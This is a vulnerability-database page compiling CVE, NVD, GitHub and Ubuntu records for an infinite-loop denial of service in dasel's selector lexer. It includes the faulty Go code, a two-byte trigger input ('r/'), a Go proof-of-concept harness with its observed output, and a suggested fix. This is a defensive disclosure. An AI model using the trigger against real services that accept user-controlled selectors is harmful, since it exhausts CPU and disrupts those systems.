Vulnerability-Lookup

CVE-2026-46378 (GCVE-0-2026-46378)

Vulnerability from cvelistv5 – Published: 2026-07-16 17:54 – Updated: 2026-07-17 15:06

Title

Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal

Summary

Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the selector lexer matchRegexPattern closure in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go loops while tokenizing an unterminated regex literal such as r/ because peekRuneEqual returns false after the end of input, allowing attacker-controlled selector strings to consume CPU indefinitely. This issue is fixed in version 3.10.1.

Severity

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-17 15:06 UTC

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/TomWright/dasel/security/advis…	x_refsource_CONFIRM
https://github.com/TomWright/dasel/commit/95f8dd3…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
TomWright	dasel	Affected: >= 3.0.0, < 3.10.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-46378

Vulnerability from fkie_nvd - Published: 2026-07-16 19:16 - Updated: 2026-07-17 18:36

Severity

6.2 (Medium) - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/TomWright/dasel/commit/95f8dd3af12958bf6ca2a737b3ec0267280f86ed
	security-advisories@github.com	https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "dasel",
          "vendor": "TomWright",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.10.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
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    {
      "lang": "en",
      "value": "Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the selector lexer matchRegexPattern closure in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go loops while tokenizing an unterminated regex literal such as r/ because peekRuneEqual returns false after the end of input, allowing attacker-controlled selector strings to consume CPU indefinitely. This issue is fixed in version 3.10.1."
    }
  ],
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GHSA-M6XR-FVFG-5G64

Vulnerability from github – Published: 2026-05-19 20:09 – Updated: 2026-05-19 20:09

Summary

Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal

Details

Summary

dasel's selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as r/abc. A 2-byte input (r/) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the matchRegexPattern closure within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L237-L247:

matchRegexPattern := func(pos int) *Token {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil
    }
    start := pos
    pos += 2
    for !p.peekRuneEqual(pos, '/') {  // line 243
        pos++
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}

When no closing / exists, peekRuneEqual returns false when pos >= srcLen (because the bounds check at line 40 returns false for out-of-range positions). Since !false = true, the loop condition remains true and pos increments indefinitely. The function never returns.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the regex pattern path does not perform a similar end-of-input check.

Minimal trigger: r/ (2 bytes)

Test environment:

MacBook Air (Apple M2), macOS / Darwin arm64
Go 1.26.1
dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
    "fmt"
    "runtime"
    "time"

    "github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
    fmt.Printf("Go version: %s\n", runtime.Version())
    fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
    fmt.Println()

    for _, input := range []string{"r/unterminated", "r/"} {
        fmt.Printf("Input: %s\n", input)
        done := make(chan string, 1)
        go func() {
            t := lexer.NewTokenizer(input)
            start := time.Now()
            tokens, err := t.Tokenize()
            elapsed := time.Since(start)
            if err != nil {
                done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
            } else {
                done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens))
            }
        }()

        select {
        case result := <-done:
            fmt.Println(result)
        case <-time.After(5 * time.Second):
            fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop")
        }
        fmt.Println()
    }
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: r/unterminated
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Input: r/
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Impact

An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters

Suggested Fix

The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since matchRegexPattern currently returns *Token, the fix also requires changing the function signature to propagate errors. For example:

matchRegexPattern := func(pos int) (*Token, error) {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil, nil
    }
    start := pos
    pos += 2
    for pos < p.srcLen && p.src[pos] != '/' {
        pos++
    }
    if pos >= p.srcLen {
        return nil, &UnexpectedEOFError{Pos: pos}
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tomwright/dasel/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46378"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:09:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`dasel`\u0027s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.\n\nI confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet.\n\n### Details\n\nThe bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L237-L247`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L237-L247):\n\n```go\nmatchRegexPattern := func(pos int) *Token {\n    if p.src[pos] != \u0027r\u0027 || !p.peekRuneEqual(pos+1, \u0027/\u0027) {\n        return nil\n    }\n    start := pos\n    pos += 2\n    for !p.peekRuneEqual(pos, \u0027/\u0027) {  // line 243\n        pos++\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))\n}\n```\n\nWhen no closing `/` exists, [`peekRuneEqual`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L39-L43) returns `false` when `pos \u003e= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns.\n\nNotably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check.\n\nMinimal trigger: `r/` (2 bytes)\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/selector/lexer\"\n)\n\nfunc main() {\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\tfor _, input := range []string{\"r/unterminated\", \"r/\"} {\n\t\tfmt.Printf(\"Input: %s\\n\", input)\n\t\tdone := make(chan string, 1)\n\t\tgo func() {\n\t\t\tt := lexer.NewTokenizer(input)\n\t\t\tstart := time.Now()\n\t\t\ttokens, err := t.Tokenize()\n\t\t\telapsed := time.Since(start)\n\t\t\tif err != nil {\n\t\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t\t} else {\n\t\t\t\tdone \u003c- fmt.Sprintf(\"OK after %v: %d tokens\", elapsed, len(tokens))\n\t\t\t}\n\t\t}()\n\n\t\tselect {\n\t\tcase result := \u003c-done:\n\t\t\tfmt.Println(result)\n\t\tcase \u003c-time.After(5 * time.Second):\n\t\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\")\n\t\t}\n\t\tfmt.Println()\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nGo version: go1.26.1\nGOARCH: arm64\n\nInput: r/unterminated\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n\nInput: r/\nCONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop\n```\n\n### Impact\n\nAn attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.\n\nThe selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:\n- Web applications using dasel for dynamic data querying\n- Applications that construct selectors from user input\n- Shared tooling environments where selectors are passed as parameters\n\n### Suggested Fix\n\nThe regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since `matchRegexPattern` currently returns `*Token`, the fix also requires changing the function signature to propagate errors. For example:\n\n```go\nmatchRegexPattern := func(pos int) (*Token, error) {\n    if p.src[pos] != \u0027r\u0027 || !p.peekRuneEqual(pos+1, \u0027/\u0027) {\n        return nil, nil\n    }\n    start := pos\n    pos += 2\n    for pos \u003c p.srcLen \u0026\u0026 p.src[pos] != \u0027/\u0027 {\n        pos++\n    }\n    if pos \u003e= p.srcLen {\n        return nil, \u0026UnexpectedEOFError{Pos: pos}\n    }\n    pos++\n    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil\n}\n```",
  "id": "GHSA-m6xr-fvfg-5g64",
  "modified": "2026-05-19T20:09:21Z",
  "published": "2026-05-19T20:09:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TomWright/dasel/commit/95f8dd3af12958bf6ca2a737b3ec0267280f86ed"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TomWright/dasel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal"
}

UBUNTU-CVE-2026-46378 (CVE-2026-46378)

Vulnerability from osv_ubuntu – Published: 2026-07-16 19:16 – Updated: 2026-07-29 07:58 – Source website

Details

Severity

6.2 (Medium)


                    
                      CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-46378	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-46378	REPORT
	https://github.com/TomWright/dasel/commit/95f8dd3…	REPORT
	https://github.com/TomWright/dasel/security/advis…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "dasel",
            "binary_version": "2.6.0-1ubuntu0.3+esm2"
          },
          {
            "binary_name": "golang-github-tomwright-dasel-dev",
            "binary_version": "2.6.0-1ubuntu0.3+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "dasel",
        "purl": "pkg:deb/ubuntu/dasel@2.6.0-1ubuntu0.3+esm2?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.6.0-1",
        "2.6.0-1build1",
        "2.6.0-1ubuntu0.1",
        "2.6.0-1ubuntu0.2",
        "2.6.0-1ubuntu0.2+esm1",
        "2.6.0-1ubuntu0.3",
        "2.6.0-1ubuntu0.3+esm1",
        "2.6.0-1ubuntu0.3+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "dasel",
            "binary_version": "2.8.1-1build1"
          },
          {
            "binary_name": "golang-github-tomwright-dasel-dev",
            "binary_version": "2.8.1-1build1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "dasel",
        "purl": "pkg:deb/ubuntu/dasel@2.8.1-1build1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.8.1-1",
        "2.8.1-1build1"
      ]
    }
  ],
  "aliases": [],
  "details": "Dasel is a command-line tool and library for querying, modifying, and transforming data structures. From 3.0.0 until 3.10.1, the selector lexer matchRegexPattern closure in (*Tokenizer).parseCurRune in selector/lexer/tokenize.go loops while tokenizing an unterminated regex literal such as r/ because peekRuneEqual returns false after the end of input, allowing attacker-controlled selector strings to consume CPU indefinitely. This issue is fixed in version 3.10.1.",
  "id": "UBUNTU-CVE-2026-46378",
  "modified": "2026-07-29T07:58:04Z",
  "published": "2026-07-16T19:16:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-46378"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46378"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/TomWright/dasel/commit/95f8dd3af12958bf6ca2a737b3ec0267280f86ed"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/TomWright/dasel/security/advisories/GHSA-m6xr-fvfg-5g64"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-46378"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-46378 (GCVE-0-2026-46378)

FKIE_CVE-2026-46378

GHSA-M6XR-FVFG-5G64

Summary

Details

PoC

Impact

Suggested Fix

UBUNTU-CVE-2026-46378 (CVE-2026-46378)

Tags

Sightings

Nomenclature

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